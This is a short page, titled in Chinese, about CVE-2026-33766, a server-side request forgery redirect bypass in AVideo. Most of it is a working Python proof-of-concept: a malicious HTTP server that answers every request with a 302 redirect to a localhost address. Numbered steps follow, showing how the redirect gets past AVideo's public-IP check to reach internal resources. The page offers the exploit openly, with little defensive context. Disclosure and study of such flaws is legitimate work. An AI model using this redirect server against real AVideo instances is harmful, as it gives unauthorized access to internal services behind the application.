CVE-2026-33766 AVideo SSRF重定向绕过漏洞

# PoC Concept for CVE-2026-33766 # This script simulates a malicious server that redirects to an internal IP from http.server import HTTPServer, BaseHTTPRequestHandler class RedirectHandler(BaseHTTPRequestHandler): def do_GET(self): # Send a 302 Redirect to an internal address (e.g., localhost admin panel) self.send_response(302) self.send_header('Location', 'http://127.0.0.1:8080/site/videos') self.end_headers() if __name__ == '__main__': # Attacker runs this server on a public IP server = HTTPServer(('0.0.0.0', 8000), RedirectHandler) print('Malicious redirect server running on port 8000...') server.serve_forever() # Exploitation: # 1. Attacker sends the URL 'http://<attacker-public-ip>:8000' to the vulnerable AVideo instance. # 2. AVideo checks <attacker-public-ip> -> Passes (Public IP). # 3. AVideo requests the URL. # 4. Server responds with 302 Location: http://127.0.0.1:8080/... # 5. AVideo follows redirect and accesses internal resource.